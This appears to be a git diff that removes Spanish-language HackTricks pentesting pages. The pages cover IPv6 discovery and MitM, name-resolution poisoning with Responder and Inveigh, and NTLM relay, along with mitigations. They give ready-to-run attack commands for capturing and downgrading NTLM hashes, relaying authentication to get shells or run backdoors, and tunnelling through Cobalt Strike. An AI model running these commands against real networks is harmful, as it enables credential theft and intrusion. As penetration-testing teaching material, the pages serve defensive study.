||||
|
||||
**Forma 1**
|
||||
|
||||
Las direcciones IPv6 de fe80::/10 se basan en la MAC. Si tienes la dirección IPv6 de un dispositivo dentro de una red y quieres adivinar la dirección IPv6 de otro dispositivo de la red, puedes obtener su dirección MAC usando un ping (dentro de la tabla ARP).
|
||||
|
||||
**Forma 2**
|
||||
|
||||
Puedes enviar un ping6 al multicast y obtener la dirección IPv6 dentro de la tabla ARP.
|
||||
```bash
|
||||
service ufw stop #Stop firewall
|
||||
ping6 -I <IFACE> ff02::1 #You could also make: ping6 -I <IPV6> ff02::1 if you want to make a ping to a specific IP Address
|
||||
ip -6 neigh
|
||||
alive6
|
||||
use auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement; set INTERFACE eth1; run
|
||||
```
|
||||
# IPv6 MitM
|
||||
|
||||
Hombre en el medio con anuncio de vecino ICMPv6 falsificado.
|
||||
|
||||
* Hombre en el medio con anuncio de router ICMPv6 falsificado.
|
||||
* Hombre en el medio usando redirección ICMPv6 o ICMPv6 demasiado grande para implantar ruta.
|
||||
* Hombre en el medio para atacar IPv6 móvil pero requiere que ipsec esté deshabilitado.
|
||||
* Hombre en el medio con servidor DHCPv6 falso.
|
||||
|
||||
# Descubriendo direcciones IPv6 en la red
|
||||
|
||||
## Subdominios
|
||||
|
||||
Puedes usar Google y otros navegadores para buscar subdominios como "ipv6.\*"
|
||||
```bash
|
||||
site:ipv6./
|
||||
```
|
||||
## DNS
|
||||
|
||||
También se puede intentar buscar direcciones IPv6 utilizando "**AXFR**" (transferencia de zona), "**AAAA**" (IPv6) o incluso "**ANY**" (todos) en el registro DNS.
|
||||
|
||||
## Ping6
|
||||
|
||||
Una vez que se han encontrado algunos dispositivos IPv6 de una organización, se puede intentar usar `ping6` para verificar las direcciones cercanas.
|
||||
|
||||
# Referencias
|
||||
|
||||
* [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
|
||||
* [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
@ -1,304 +0,0 @@
|
|||
# Suplantación de LLMNR, NBT-NS, mDNS/DNS y WPAD y ataques de relé
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Protocolos de red
|
||||
|
||||
### LLMNR, NBT-NS y mDNS
|
||||
|
||||
Los sistemas de Microsoft utilizan Link-Local Multicast Name Resolution (LLMNR) y el servicio de nombres NetBIOS (NBT-NS) para la resolución de hosts locales cuando fallan las búsquedas DNS. Las implementaciones de Apple Bonjour y Linux de configuración cero utilizan Multicast DNS (mDNS) para descubrir sistemas dentro de una red. Estos protocolos no están autenticados y transmiten mensajes a través de UDP; por lo tanto, los atacantes pueden explotarlos para dirigir a los usuarios a servicios maliciosos.
|
||||
|
||||
Puede suplantar servicios que son buscados por los hosts utilizando Responder para enviar respuestas falsas.\
|
||||
Lea aquí más información sobre [cómo suplantar servicios con Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### WPAD
|
||||
|
||||
Muchos navegadores utilizan Web Proxy Auto-Discovery (WPAD) para cargar la configuración del proxy desde la red. Un servidor WPAD proporciona la configuración del proxy del cliente a través de una URL específica (por ejemplo, _http://wpad.example.org/wpad.dat_) al ser identificado a través de cualquiera de los siguientes:
|
||||
|
||||
* DHCP, utilizando una entrada de código 252[34](https://learning.oreilly.com/library/view/Network+Security+Assessment,+3rd+Edition/9781491911044/ch05.html#ch05fn41)
|
||||
* DNS, buscando el nombre de host _wpad_ en el dominio local
|
||||
* Microsoft LLMNR y NBT-NS (en caso de fallo de búsqueda DNS)
|
||||
|
||||
Responder automatiza el ataque WPAD, ejecutando un proxy y dirigiendo a los clientes a un servidor WPAD malicioso a través de DHCP, DNS, LLMNR y NBT-NS.
|
||||
|
||||
## Envenenamiento de protocolos
|
||||
|
||||
### Responder - LLMNR, NBT-NS y MDNS
|
||||
|
||||
> Responder es un envenenador de LLMNR, NBT-NS y MDNS. Responder responderá a las consultas específicas de NBT-NS (servicio de nombres NetBIOS) basadas en su sufijo de nombre (ver: [http://support.microsoft.com/kb/163409](http://support.microsoft.com/kb/163409)). Por defecto, la herramienta solo responderá a la solicitud del servicio de servidor de archivos, que es para SMB.
|
||||
>
|
||||
> El concepto detrás de esto es dirigir nuestras respuestas y ser más sigilosos en la red. Esto también ayuda a asegurar que no rompamos el comportamiento legítimo de NBT-NS.
|
||||
|
||||
* [**Responder**](https://github.com/lgandx/Responder) está instalado en kali por defecto y el archivo de configuración se encuentra en \*\*`/etc/responder/Responder.conf` \*\* (aquí puedes desactivar los servidores falsos)
|
||||
* **Responder** imprimirá las hashes en pantalla y las escribirá en un archivo de registro por host ubicado en el directorio `/usr/share/responder/logs`. Las hashes se guardan en el formato `(NOMBRE_DEL_MÓDULO)-(TIPO_DE_HASH)-(IP_DEL_CLIENTE).txt`
|
||||
* Puedes encontrar Responder para **Windows** [aquí](https://github.com/lgandx/Responder-Windows)
|
||||
* Responder funciona en **ipv4** e **ipv6**
|
||||
|
||||
#### Parámetros de Responder
|
||||
```
|
||||
--version show program's version number and exit
|
||||
-h, --help show this help message and exit
|
||||
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
|
||||
BROWSER, LLMNR requests without responding.
|
||||
-I eth0, --interface=eth0
|
||||
Network interface to use, you can use 'ALL' as a
|
||||
wildcard for all interfaces
|
||||
-i 10.0.0.21, --ip=10.0.0.21
|
||||
Local IP to use (only for OSX)
|
||||
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
|
||||
Poison all requests with another IPv6 address than
|
||||
Responder's one.
|
||||
-e 10.0.0.22, --externalip=10.0.0.22
|
||||
Poison all requests with another IP address than
|
||||
Responder's one.
|
||||
-b, --basic Return a Basic HTTP authentication. Default: NTLM
|
||||
-r, --wredir Enable answers for netbios wredir suffix queries.
|
||||
Answering to wredir will likely break stuff on the
|
||||
network. Default: False
|
||||
-d, --DHCP Enable answers for DHCP broadcast requests. This
|
||||
option will inject a WPAD server in the DHCP response.
|
||||
Default: False
|
||||
-D, --DHCP-DNS This option will inject a DNS server in the DHCP
|
||||
response, otherwise a WPAD server will be added.
|
||||
Default: False
|
||||
-w, --wpad Start the WPAD rogue proxy server. Default value is
|
||||
False
|
||||
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
|
||||
Upstream HTTP proxy used by the rogue WPAD Proxy for
|
||||
outgoing requests (format: host:port)
|
||||
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
|
||||
retrieval. This may cause a login prompt. Default:
|
||||
False
|
||||
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
|
||||
authentication for the proxy. WPAD doesn't need to be
|
||||
ON. This option is highly effective when combined with
|
||||
-r. Default: False
|
||||
--lm Force LM hashing downgrade for Windows XP/2003 and
|
||||
earlier. Default: False
|
||||
--disable-ess Force ESS downgrade. Default: False
|
||||
-v, --verbose Increase verbosity.
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Parámetros de Responder</summary>
|
||||
|
||||
* La bandera `-A` nos coloca en **modo de análisis**, permitiéndonos ver las solicitudes NBT-NS, BROWSER y LLMNR en el entorno sin envenenar ninguna respuesta.
|
||||
* Siempre debemos proporcionar una interfaz o una dirección IP.
|
||||
* `-wf` iniciará el servidor proxy malicioso WPAD.
|
||||
* `-f` intentará identificar el sistema operativo y la versión del host remoto.
|
||||
* Use la bandera `-v` para aumentar la verbosidad (se imprimirá mucha información adicional en la consola).
|
||||
* Las opciones como `-F` y `-P` se pueden utilizar para forzar la autenticación NTLM o básica y forzar la autenticación del proxy, pero pueden provocar una solicitud de inicio de sesión, por lo que deben usarse con moderación.
|
||||
* La bandera `-w` utiliza el servidor proxy WPAD incorporado. Esto puede ser muy efectivo, especialmente en grandes organizaciones, porque capturará todas las solicitudes HTTP de cualquier usuario que lance Internet Explorer si el navegador tiene habilitada la opción [Detectar automáticamente la configuración](https://docs.microsoft.com/es-es/internet-explorer/ie11-deploy-guide/auto-detect-settings-for-ie11).
|
||||
|
||||
</details>
|
||||
|
||||
#### Ejecutando Responder
|
||||
|
||||
Para ejecutar el comportamiento predeterminado de Responder, solo tienes que ejecutar:
|
||||
```bash
|
||||
responder -I <Iface> #Default conf
|
||||
responder -I <Iface> -P -r -v #More chances but might break things
|
||||
```
|
||||
Una técnica interesante es utilizar Responder para degradar la autenticación NTLM cuando sea posible. Esto permitirá **capturar desafíos y respuestas NTLMv1** en lugar de NTLMv2 que pueden ser **fácilmente descifrados** [**siguiendo esta guía**](../../windows-hardening/ntlm/#ntlmv1-attack)**.**
|
||||
```bash
|
||||
#Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"
|
||||
responder -I <Iface> --lm --disable-ess #Downgrade NTLM authntication if possible and force ESS downgrade
|
||||
```
|
||||
Por **defecto**, la **impersonación de WPAD no se ejecutará**, pero puedes ejecutarla haciendo:
|
||||
```bash
|
||||
responder -I <Iface> --wpad
|
||||
```
|
||||
También puedes **resolver solicitudes NetBIOS** con **tu IP**. Y crear un **proxy de autenticación**:
|
||||
```bash
|
||||
responder.py -I <interface> -Pv
|
||||
```
|
||||
Normalmente no podrás interceptar las contraseñas NTLM (normalmente), pero puedes fácilmente obtener algunos **desafíos y respuestas NTLM** que puedes **descifrar** usando, por ejemplo, la opción `--format=netntlmv2` de _**john**_.
|
||||
|
||||
Los **registros y los desafíos** de la instalación predeterminada de _**Responder**_ en Kali se pueden encontrar en `/usr/share/responder/logs`.
|
||||
|
||||
#### Responder - Envenenamiento DHCP
|
||||
|
||||
Windows utiliza varias opciones DHCP personalizadas, como NetBIOS, WINS, configuraciones de WPAD. Cuando una estación de trabajo envía una solicitud DHCP para obtener su configuración de red, estas configuraciones adicionales pueden incluirse en la respuesta DHCP para facilitar la conectividad y la resolución de nombres.
|
||||
|
||||
Falsificar respuestas DHCP sin interrupción puede ser un desafío ya que estás interfiriendo con la configuración de red de una estación de trabajo. Por lo general, necesitas tener un muy buen conocimiento del subred objetivo, dónde está el servidor DNS, dónde está el switch, la tabla de enrutamiento, el dominio, la máscara de red, el servidor DHCP, etc. **Cualquier error con estas configuraciones resultará en interrupciones en la red.**
|
||||
|
||||
Sin embargo, falsificar respuestas DHCP tiene beneficios únicos. **Es definitivamente más sigiloso que el envenenamiento ARP**; una respuesta unicast es suficiente para envenenar permanentemente la información de enrutamiento de la víctima, también es común ver varios servidores DHCP operando en una red. Las respuestas DHCP unicast son más complejas de detectar, algunos switches proporcionan configuraciones de seguridad para evitar el espionaje DHCP, sin embargo, esas configuraciones no son sencillas y a menudo se configuran incorrectamente cuando se habilitan.
|
||||
|
||||
> Este ataque es altamente efectivo y te da contraseñas NTLMv1/2 aseguradas.
|
||||
```bash
|
||||
./Responder.py -I eth0 -Pdv
|
||||
```
|
||||
#### Responder - Capturando credenciales
|
||||
|
||||
Responder va a **suplantar todos los servicios que usen los protocolos mencionados**. Una vez que algún usuario intente acceder a un servicio que se resuelve usando esos protocolos, **intentará autenticarse contra Responder** y Responder podrá **capturar** las "credenciales" (probablemente un **NTLMv2 Challenge/Response**):
|
||||
|
||||
Es posible intentar degradar a NetNTLMv1 o intentar desactivar ESS.
|
||||
|
||||
 (1) (1).jpg>)
|
||||
|
||||
### Inveigh - Responder de C#/PowerShell
|
||||
|
||||
> Inveigh es un falsificador de ADIDNS/LLMNR/NBNS/mDNS/DNS y una herramienta de hombre en el medio diseñada para ayudar a los probadores de penetración/equipos rojos que se encuentran limitados a un sistema Windows.
|
||||
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) era un script de PowerShell, ahora es un binario de C# que tiene las mismas características principales que Responder. Hay una [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) que enumera todos los parámetros e instrucciones de uso.\
|
||||
Otra versión se puede encontrar en [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero).
|
||||
|
||||
|
||||
|
||||
O ejecútelo con más opciones:
|
||||
```powershell
|
||||
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
|
||||
```
|
||||
O ejecuta la versión en C#:
|
||||
```bash
|
||||
Inveigh.exe
|
||||
```
|
||||
## Ataque de relevo NTLM
|
||||
|
||||
Este ataque retransmite **sesiones de autenticación SMB** en una red interna a una **máquina objetivo**. Si la sesión de autenticación **es exitosa**, automáticamente se accede a una **shell del sistema**. Tenga en cuenta que la autenticación retransmitida debe ser de un **usuario que tenga acceso de administrador local al host retransmitido** y **la firma SMB debe estar deshabilitada**.
|
||||
|
||||
### Reenvío y túneles 445
|
||||
|
||||
{% hint style="warning" %}
|
||||
Si puede **introducir una máquina dentro de la red**, puede usar cualquiera de las **herramientas** de la siguiente sección para realizar un ataque de relevo y no necesita preocuparse por esto.
|
||||
{% endhint %}
|
||||
|
||||
Sin embargo, en los equipos de respuesta a incidentes esto no es el caso, generalmente necesitará **reenviar el tráfico del puerto 445 de una máquina Windows a su máquina** ejecutando cualquiera de las siguientes herramientas y luego **enrutando el tráfico de esa herramienta a través de un proxy** para llegar a la máquina a atacar dentro de la red interna.
|
||||
|
||||
La herramienta [**PortBender**](https://github.com/praetorian-inc/PortBender) es un controlador para **redirigir** el tráfico destinado al puerto **445 a otro puerto** (por ejemplo, 8445) que **podemos enlazar**. **Requiere acceso de administrador local** para que se cargue el controlador. Tiene sentido usar `cd C:\Windows\System32\drivers` ya que aquí es donde van la mayoría de los controladores de Windows.
|
||||
```bash
|
||||
Cobalt Strike -> Script Manager -> Load (Select from the filesystem PortBender.cna)
|
||||
|
||||
beacon> cd C:\Windows\system32\drivers # Go to drivers dir
|
||||
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
|
||||
beacon> PortBender redirect 445 8445 # Forward traffic to 445 to 8445
|
||||
beacon> rportfwd 8445 127.0.0.1 445 # Send traffic to port 8445 to Team Server
|
||||
beacon> socks 1080 # Socks proxy in port 1080 to attack host in the internal network from the Team Server
|
||||
|
||||
# To kill
|
||||
beacon> jobs
|
||||
beacon> jobkill 0
|
||||
beacon> rportfwd stop 8445
|
||||
beacon> socks stop
|
||||
```
|
||||
### Metasploit
|
||||
|
||||
Metasploit es un framework de pruebas de penetración que permite a los profesionales de seguridad evaluar la seguridad de los sistemas y redes. Proporciona una amplia gama de herramientas y módulos para realizar pruebas de penetración en diferentes sistemas operativos y aplicaciones. Metasploit también se utiliza para automatizar tareas repetitivas y simplificar el proceso de pruebas de penetración. Es una herramienta muy popular en la comunidad de seguridad y se utiliza ampliamente en pruebas de penetración y evaluaciones de vulnerabilidades.
|
||||
```bash
|
||||
setg Proxies socks4:127.0.0.1:1080 # Use this if you need to route the traffic to reach the attacked ip
|
||||
set SRVHOST <local_ip>
|
||||
set SRVPORT 445
|
||||
set SMBHOST <ip_to_auth_to>
|
||||
run -j
|
||||
```
|
||||
### smbrelayx
|
||||
|
||||
smbrelayx es una herramienta que permite realizar ataques de relé SMB. Básicamente, lo que hace es interceptar las solicitudes SMB que se realizan en la red y las reenvía a otro destino. Esto puede ser utilizado para realizar ataques de tipo "man-in-the-middle" y obtener credenciales de usuario. Además, smbrelayx también puede ser utilizado para realizar ataques de tipo "NTLMv2 hash theft", que permiten obtener hashes de contraseñas de usuarios sin necesidad de crackearlas.
|
||||
```bash
|
||||
python3 smbrelayx.py -t smb://<ip_to_attack> -smb2support --no-http-server --no-wcf-server
|
||||
# By default it will just dump hashes
|
||||
# To execute a command use: -c "ipconfig"
|
||||
# To execute a backdoor use: -e "/path/to/backdoor
|
||||
|
||||
# Attack through socks proxy
|
||||
proxychains python3 ntlmrelayx.py -t smb://<ip_to_attack> -smb2support --no-http-server --no-wcf-server
|
||||
```
|
||||
### MultiRelay
|
||||
|
||||
Si deseas utilizar **MultiRelay**, ve a _**/usr/share/responder/tools**_ y ejecuta MultiRelay (`-t <IP objetivo> -u <Usuario>`):
|
||||
```bash
|
||||
python MultiRelay.py -t <IP target> -u ALL # If "ALL" then all users are relayed
|
||||
# By default a shell is returned
|
||||
python MultiRelay.py -t <IP target> -u ALL -c whoami #-c to execute command
|
||||
python MultiRelay.py -t <IP target> -u ALL -d #-d to dump hashes
|
||||
|
||||
# Use proxychains if you need to route the traffic to reach the attacked ip
|
||||
```
|
||||
.png>)
|
||||
|
||||
### Forzar Inicios de Sesión NTLM
|
||||
|
||||
En Windows, **es posible forzar a algunas cuentas privilegiadas a autenticarse en máquinas arbitrarias**. Lee la siguiente página para aprender cómo hacerlo:
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
|
||||
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Solución
|
||||
|
||||
### Desactivar LLMNR
|
||||
|
||||
Para desactivar LLMNR en tu dominio para los clientes DNS, abre gpedit.msc.\
|
||||
Navega a Configuración del equipo->Plantillas administrativas->Red->Cliente DNS.\
|
||||
Localiza la opción "Desactivar la resolución de nombres multicast" y haz clic en "Configuración de directiva":
|
||||
|
||||
|
||||
|
||||
Una vez que se abra la nueva ventana, habilita esta opción, presiona Aplicar y haz clic en Aceptar:
|
||||
|
||||
|
||||
|
||||
### **Desactivar NBT-NS**
|
||||
|
||||
Una opción para desactivar NBT-NS es usar opciones de ámbito DHCP.
|
||||
|
||||
Si usas el servidor DHCP de Microsoft, selecciona el ámbito para el que deseas desactivar NBT-NS. Haz clic derecho en "Opciones de ámbito" y haz clic en "Configurar opciones". En el ejemplo a continuación, el ámbito DHCP en el que quiero desactivar NBT-NS es 192.168.1.100.
|
||||
|
||||
|
||||
|
||||
En la ventana de opciones de ámbito, navega a la pestaña avanzada, cambia la ventana desplegable a "Opciones de Microsoft Windows 2000":
|
||||
|
||||
|
||||
|
||||
Selecciona la opción "001 Microsoft Disable Netbios Option" de la lista y cambia su valor a "0x2", haz clic en Aplicar y luego en Aceptar:
|
||||
|
||||
|
||||
|
||||
### WPAD
|
||||
|
||||
Para mitigar el ataque WPAD, puedes agregar una entrada para "wpad" en tu zona DNS. Ten en cuenta que la entrada DNS no necesita apuntar a un servidor WPAD válido. Mientras las consultas se resuelvan, se evitará el ataque.
|
||||
|
||||
### Multi-relay
|
||||
|
||||
1\. **Forzar la firma SMB en todas las máquinas locales con Windows**. Esta configuración firmará digitalmente cada sesión SMB, lo que obliga tanto al cliente como al servidor a verificar la fuente de los paquetes antes de continuar. Esta configuración solo está habilitada de forma predeterminada en los controladores de dominio. Los siguientes artículos de Microsoft detallan estas configuraciones (que se pueden habilitar a través de la directiva de grupo) y cómo implementarlas.
|
||||
|
||||
[https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/](https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/)
|
||||
|
||||
[https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always)
|
||||
|
||||
2\. **Revisar y asegurarse de que los usuarios en la red local solo puedan iniciar sesión de forma remota en las máquinas en las que sea necesario**. Por ejemplo: Sally solo puede iniciar sesión en la estación de trabajo de Sally. Si un atacante interceptara la sesión de autenticación SMB de Sally, no podría transmitir la sesión a ninguna estación de trabajo, lo que volvería inútil este método.
|
||||
|
||||
3\. **Restringir la autenticación NTLM en la red local tanto como sea posible**. Este ataque no puede aprovechar la autenticación Kerberos, por lo que al limitar la cantidad de NTLM que ocurre, se puede obstaculizar en gran medida este ataque. Hay información de Microsoft sobre cómo hacer que esto suceda, pero ten cuidado... Si la autenticación Kerberos falla por cualquier motivo, generalmente se vuelve a NTLM. Si lo desactivas por completo, tu red podría detenerse.
|
||||
|
||||
4\. **Prevenir usuarios no autorizados en tu red**. Una amenaza interna probablemente no utilizará un ataque de retransmisión SMB, ya que ya tiene credenciales de red. Reforzando tus políticas de seguridad física, previniendo dispositivos no autorizados en la red con ACL y filtrado MAC, y asegurando una segmentación de red adecuada, puedes limitar en gran medida la amenaza de que se realice este ataque.
|
||||
|
||||
## Referencias
|
||||
|
||||
* [**https://intrinium.com/smb-relay-attack-tutorial/**](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||
* **Imágenes de:**\
|
||||
[https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)\
|
||||
[https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)\
|
||||
[https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)\
|
||||
[https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿o quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
@ -1,260 +0,0 @@
|
|||
# Suplantación de dispositivos SSDP y UPnP con EvilSSDP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
**Este post fue copiado de** [**https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/**](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/)
|
||||
|
||||
## **Introducción**
|
||||
|
||||
### **¿Qué es SSDP?**
|
||||
|
||||
SSDP o Protocolo Simple de Descubrimiento de Servicios es un protocolo de red diseñado para **anunciar y descubrir servicios de red**. Puede funcionar sin ninguna configuración de DHCP o DNS. Fue diseñado para ser utilizado en entornos residenciales o pequeñas oficinas. Utiliza UDP como protocolo de transporte subyacente en **el puerto 1900**. Utiliza el método HTTP NOTIFY para anunciar el establecimiento o la retirada de servicios a un grupo multicast. Es la base del protocolo de descubrimiento UPnP.
|
||||
|
||||
### **¿Qué son los dispositivos UPnP?**
|
||||
|
||||
UPnP o Plug and Play Universal es un conjunto de **protocolos de red** que permite a los dispositivos en red, como ordenadores personales, impresoras, pasarelas de Internet, puntos de acceso Wi-Fi y dispositivos móviles, **descubrir la disponibilidad de cada uno en la red** y establecer servicios de red para comunicaciones, intercambio de datos y entretenimiento. La arquitectura UPnP admite la configuración de red sin necesidad de configuración. Un dispositivo compatible con UPnP de cualquier proveedor puede unirse dinámicamente a una red, obtener una dirección IP, **anunciar su nombre, publicitar o transmitir sus capacidades** a petición y aprender sobre la presencia y capacidades de otros dispositivos.
|
||||
|
||||
### **Flujo**
|
||||
|
||||
La pila **UPnP** consta de **seis capas**: direccionamiento, descubrimiento, descripción, control, eventos y presentación.
|
||||
|
||||
